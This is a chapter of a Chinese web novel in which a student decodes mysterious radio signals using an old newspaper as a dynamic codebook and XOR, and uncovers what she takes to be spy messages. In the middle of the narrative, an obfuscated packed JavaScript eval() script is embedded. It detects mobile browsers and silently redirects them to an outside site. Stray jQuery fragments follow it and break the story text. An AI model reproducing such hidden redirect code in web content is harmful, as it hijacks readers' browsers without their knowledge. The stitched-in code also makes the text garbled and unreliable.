59. 不明电波(4)

作品:《学生闹翻天3

    ·数字陷阱:她格外留意所有带有数字“6”和“9”的标识:第六教学楼、第九实验楼、6路公交站牌、门牌号带6或9的店铺、甚至垃圾桶的编号。她记下位置,思考这些地点是否构成一个观察序列或接收信号的有利位置(如朝向、视野)。信号接收者是否需要在特定时间,面朝某个带“6”或“9”标识的方向?


    ·广告与公告:布告栏、海报、灯箱广告、餐厅菜单上的价目表……任何包含序列、代码或网格状信息的地方,她都驻足片刻,用手机拍下,准备回去与信号二进制序列进行粗略比对。例如,一张社团活动时间表,能否用二进制解读行和列?


    ·商店与窗口:她留意那些橱窗陈列长期不变的小店。一家老式钟表店,展示的手表永远停在某个特定时间(如6点09分)?一家书店的窗台上,永远摆放着同一套(或许是第六册和第九册)旧书?


    这种“地毯式”搜索耗费体力,且带有极大的盲目性。黄昏时分,叶馨蒙坐在路边的长椅上,揉着发酸的小腿,感到了第一波强烈的挫败感。城市太大了,信息太杂了。密码本可能是一本一年前出版的、在某旧书摊偶然能买到的冷门书,也可能是一个只有内部人员才知道访问方式的暗网页面。这样找下去无异于大海捞针。


    ---


    第三站:思维跃迁——从“哪里找”到“谁在用”


    夜晚回到住所,疲劳和焦虑并没有击垮叶馨蒙。她泡了杯浓茶,再次铺开信号记录和白天拍摄的照片。她意识到,自己可能陷入了思维定式:一直在寻找静态的密码本。


    “如果……密码本不是一本书或一个固定标识呢?”她盯着信号记录,“如果它本身就是动态生成的,基于接收方和发送方共享的某个‘种子’和一套‘算法’呢?”


    这个想法让她精神一振。如果是这样,那么起始码“·——·”很可能不是指向一个地点或一本书的页码,而是指向生成算法的参数或索引。


    ·“6”或“9”作为日期索引:比如,每月6日或9日,使用当月当日的报纸头版某个固定位置的文字作为密码本?


    ·“6”或“9”作为时间索引:信号接收时间(或发送时间)的时、分、秒,经过某种运算(比如乘以6或9,或取第6、第9位数字)得到一个数值,用来从一本通用工具书(如《新华字典》)中确定起始页和行?


    ·“J”作为关键词:起始码在莫尔斯电码中是“J”。是否某个以J开头的关键词(如“瑆洲”、“警惕”、“基础”),其拼音或笔画数决定了后续解码的偏移量?


    她需要验证这些动态模型。这意味着她必须连续监听更多信号,寻找变化中的不变规律。


    ---


    第四夜:监听与模式验证


    当晚,叶馨蒙再次守候在收音机前。信号如约而至。这一次,她的记录更加精确、快速。信号结束后,她立刻进行比对。


    一个至关重要的发现出现了:起始码“·——·”完全相同,但紧随其后的核心脉冲序列,与前三晚的记录截然不同。


    这个发现如同黑夜中的一道闪电:


    1.密码本确实是动态变化的,否则信息无法更新。


    2.起始码是“钥匙中的钥匙”,它很可能标识了本次解码应该使用的密码本版本或生成参数。


    3.“·——·”可能是一个“频道标识”或“日期码”,代表这个信号序列属于某个系列(比如“J系列”),而具体解码需要结合接收日期或其他变量。


    叶馨蒙迅速翻开日历,并查看手机上的日期记录。第一晚监听是11月2日,第二晚11月3日,第三晚11月4日,今晚是11月5日。都是连续的日期。但“·——·”代表的6或9,与日期没有直接对应。


    “等等……如果‘·——·’不是代表数字,而是代表‘今日密码本生成规则’的代号呢?”她脑中火花迸溅,“比如,代号‘J-6’表示:使用今日(11月5日)《瑆洲晚报》第6版第6行文字作为密码本?而代号本身,可能每周或每月通过其他更安全的方式(如死信投递)通知接收方?或者,就固化在起始码中,‘·——·’永远代表‘使用当日第6版’?”


    这个假设将寻找固定密码本的任务,转变为了确定动态密码本的生成规则和来源。后者依然困难,但范围大大缩小——它一定是一个接收方每天都能稳定、隐蔽获取的公共信息源。


    ---


    第五站:锁定源头——每日更新的公共文本


    接下来几天,叶馨蒙的生活节奏变成了:夜晚监听记录信号,白天则化身调查员,专注于搜集那些每日更新、内容固定、本地发行、易于获取的公共文本。


    她的目标清单急剧收窄:


    1.本地报纸:《瑆洲日报》、《瑆洲晚报》每日各版。


    2.校园官方每日信息:食堂门口小黑板上的每日菜单(价格或菜名编码?)、主楼前的每日通知公告(编号?)。


    3.广播/电视节目固定环节:本地电台的整点报时后固定播送的天气预报(温度、湿度数字?)、某个固定时段的股市快讯(代码和价格?)。


    4.网络公共信息:本地市政府网站首页的“每日更新”栏目、校园官网的“今日要闻”(发布日期和文章ID?)。


    她开始系统性地收集这些材料,尤其是《瑆洲晚报》(考虑到晚报下班后获取,更符合夜间接收信号后的解码场景)。她将每一天的报纸对应每一天截获的信号(虽然信号内容不同,但起始码相同),尝试建立关联。


    这是一个繁琐至极的工作,需要极大的耐心和一丝不苟的记录。她制作了巨大的交叉对照表格,将信号二进制序列与报纸文本的笔画数、拼音字母序数、ASCII码,甚至版面行列位置进行各种可能的映射尝试。


    进展缓慢,时而有微弱的巧合,但无法形成稳定可重复的解码方案。她如同在攀登一座迷雾中的高山,看不见山顶,只能依靠直觉和逻辑,一步步向上。疲惫日益加深,但那个隐藏在电波中的秘密,以及可能随之而来的危险与真相,像磁石一样牢牢吸引着她,让她无法停下脚步。


    她知道,自己正行走在一条纤细的边界上。一边是破解谜题的巨大诱惑,另一边则是可能惊醒未知危险的深渊。而密码本的影子,似乎已近在咫尺,却始终隔着一层无法捅破的薄纱。或许,她还需要一个契机,一个灵感,或者……一个错误。一个来自信号发送方或接收方的、微小的、足以暴露其逻辑的失误。她调整了一下收音机的频率旋钮,在轻微的电流噪音中,等待着下一个夜晚,和下一个可能出现的突破口。


    叶馨蒙的手指划过微潮粗糙的纸面,停在一份泛黄的《瑆洲晚报》上。日期:1997年11月6日。


    这并非她原本寻找的近期报纸。但吸引她目光的,是这份旧报纸被异常工整地折叠着,夹在一堆散乱无序的旧书刊中,显得格格不入。更关键的是,报头下方的空白处,有人用极细的铅笔,写下了一行几乎难以辨认的小字,并非汉字,而是:


    ·——·//6-A-3


    她的呼吸瞬间凝滞。


    “·——·”!


    那个独一无二的起始码,竟然以这种形式,出现在一份二十多年前的旧报纸上!


    她几乎是屏住呼吸,小心翼翼地抽出这份报纸,付了款,将它像易碎品一样带回住所。


    灯光下,她仔细研究这份报纸。日期是97年11月6日。起始码旁的标注“6-A-3”,极有可能是坐标:第6版,A区域(或是左上角/某种分区),第3行。这是一个经典的“书本密码”或“报纸密码”坐标指示法!


    她迅速翻到第六版。那是一版国际新闻和财经简讯混合的版面。按照“A-3”的可能解读(假设A代表左上角起始的第一个文本块),她的目光锁定在第三行。那是一则不起眼的外汇汇率报道中的一句:“美元兑日元汇率小幅波动,市场观望情绪浓厚。”


    仅仅一行字。这如何作为密码本?


    叶馨蒙强迫自己冷静。如果这是密码本,那么它的作用很可能不是提供大段文字,而是提供一个“种子”或“密钥流”。最常用的方法之一:用这行文字的字母或数字(或其编码,如ASCII码、笔画数等)作为密钥,与截获的二进制信号序列进行某种运算(如异或),来得到真正的明文。


    她立刻行动。


    第一步:提取密钥。


    将第三行文字转换为数字。她选择最直接的汉语拼音首字母(大写)ASCII码:


    “美元兑日元汇率小幅波动,市场观望情绪浓厚。”


    取每个字拼音首字母(忽略标点):M、Y、D、R、H、L、X、F、B、D、S、C、G、W、Q、X、N、H。


    将每个字母转换成ASCII码(十进制):77,89, 68, 82, 72, 76, 88, 70, 66, 68, 83, 67, 71, 87, 81, 88, 78, 72。


    得到一列数字密钥流:77, 89, 68, 82, 72, 76, 88, 70, 66, 68, 83, 67, 71, 87, 81, 88, 78, 72。


    第二步:处理信号。


    她取用最早记录下的、最清晰完整的一组核心脉冲序列(剔除起始码和终止静默),将其按照之前最可能的假设(·=0,—=1)转换成二进制数字串。例如,序列“··—/—··/——·/·—·”可能转换为:001, 100, 110, 010……(这里仅为示例,她使用的是真实记录的更长序列)。她将这些二进制组转换为对应的十进制数字(每3位或5位一组,取决于她的分组结论),得到另一列数字:密文流。


    第三步:尝试解密。


    最简单的运算是模10加法(或减法),或异或(XOR)(需将十进制转到二进制位进行)。她先尝试模10加减:将密文流的每个数字,与密钥流的对应数字(循环使用,因密钥可能较短)相加或相减(模10),看看得到的数字是否构成有意义的编码(如新的ASCII码,或直接对应字母表的序号1-26)。


    她伏在案前,笔尖飞速计算。数字、符号、假设的转换规则……时间悄然流逝。


    第一次尝试(简单模10加法),得出的数字序列杂乱无章。


    第二次尝试(密文减密钥模10),结果依然无意义。


    她的心微微下沉。难道是运算方式不对?或者,密钥不是拼音首字母ASCII码?是笔画数?还是英文翻译的首字母?


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937077|192889||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她换了思路,尝试XOR运算。她将密钥流数字转换成8位二进制,与她信号转换出的二进制组(按8位对齐,不足补零)进行逐位XOR。


    计算……等待……


    当新生成的一串二进制呈现在纸上时,她习惯性地将其按8位一组分割,然后查阅ASCII码表进行转换。


    第一个8位二进制:01001000→72→''H''


    第二个:01100101→101→''e''


    第三个:01101100→108→''l''


    第四个:01101100→108→''l''


    第五个:01101111→111→''o''


    Hello。


    一个简单的、测试性的单词,却像一道强光,瞬间刺破了所有的迷雾和疲惫!


    叶馨蒙的手微微颤抖。不是恐惧,而是巨大的、几乎令她晕眩的兴奋和确认感。她找到了!不仅找到了密码本的形式(动态报纸坐标密码),还验证了解码算法(XOR运算),并且成功破译了第一个有意义的单词!


    她立刻用同样的方法(97年11月6日,6-A-3坐标,XOR运算)去尝试破译后来几晚截获的不同信号内容。虽然起始码相同,但信号内容不同,理应得出不同的明文。


    计算……转换……


    新的信息浮现出来,不再是测试词,而是简短的、电报式的短语:


    “安全。通道A畅通。保持静默。1122。”


    “有尘。清扫B区。1201前。”


    “包裹已存C点。确认。勿回。”


    这些短语冰冷、高效,充满了行动指令和状态报告的意味。日期(0422,0601)显然是行动时间或截止日期。“尘”可能指可疑人员或风险,“清扫”意味着清除或规避。


    叶馨蒙靠在椅背上,背脊发凉,手心却渗出细汗。她真的截获并破译了一个活跃的、使用经典动态密码本进行联络的间谍网络信息!


    那份1997年11月6日的旧报纸,是一个“密钥日”的样本。它暗示,这个间谍网络可能长期使用《瑆洲晚报》(或类似每日发行的固定出版物)作为动态密码本的来源。每天的报纸,结合一个只有内部人员知道的、像“·——·//6-A-3”这样的“坐标算法”(坐标可能每日或每周按固定规律变化,如日期函数),就能生成当日的唯一密钥。起始码“·——·”很可能就是“使用当日《瑆洲晚报》”的指令,而具体坐标则需要接收方通过另一套机制(可能是记忆的算法,也可能是更早下达的指令)自行计算得出。她捡到的这份,或许是某个接收方的训练样本、备份,或是不慎流失的“密钥日”存档。


    她看着破译出的信息,目光最终落在“包裹已存C点”和“有尘。清扫B区”上。信息是单向的,她不知道“C点”和“B区”在哪里,也不知道“尘”是谁。但她知道,自己无意间撞破的秘密,可能关乎现实的安全与危险。


    接下来的路,骤然变得清晰,也无比险峻。她可以:


    1.继续监听破译,试图获取更多地点、人员、行动计划信息。


    2.根据已有信息,尝试定位“C点”、“B区”,进行隐蔽观察。


    3.将这一切报告给上级。


    然而,如何证明?她知道贸然接触不明官方机构,会引发何种连锁反应?对方网络如果察觉到信号被截获破译(尽管可能性低,但并非为零),会作何反应?


    窗外的夜色,比以往任何一夜都更加深沉。收音机静静地躺在桌上,指示灯熄灭。但叶馨蒙知道,无形的电波仍在夜空中穿梭,承载着秘密与指令。而她,已经掌握了倾听它们耳语的能力,也被迫站在了一个必须做出选择的十字路口。手中的旧报纸微微发烫,仿佛承载着远超其纸龄的重量。


    叶馨蒙将自己锁在宿舍里,窗帘紧闭。桌上摊着那份作为密码本的旧报纸,旁边是她写满二进制推导和位置坐标的草稿纸。空气中弥漫着一种近乎凝固的专注。


    “买卖…已备货…老地方…”


    这些词像冰冷的碎冰,在她心头碰撞。但她知道,这些只是信息的主体,还缺少最关键的元素——身份。是谁在联络?谁是买方?谁是卖方?


    她的目光落在了那段被她破译出的、位于信息开头,紧随起始码之后的一组特殊序列上。这组序列比代表词汇的编码要稍长一些,结构也略有不同,之前她一直将其视为某种内部指令格式而暂时搁置。


    现在,她必须攻克它。


    第一步:聚焦“签名”


    她假设这组序列是发报方的“签名”——也就是代号。如果核心信息都用报纸坐标编码,那么代号很可能也遵循同一套规则,只是或许用了不同的映射方式。


    她将这组特殊的点划序列单独抄录在一张新纸上,开始尝试各种二进制分组方式。五位数对应坐标的方式在这里行不通,序列长度不符合。她尝试四位数、三位数……


    第二步:模式的浮现


    当她尝试将序列按三位数一组进行分割并转换为十进制时,得到了一组看似无意义的数字:3, 12, 21, 5…


    “3,12,21,5…”她喃喃自语。这不像页码,也不像行列号。它们太小了,更像是……索引?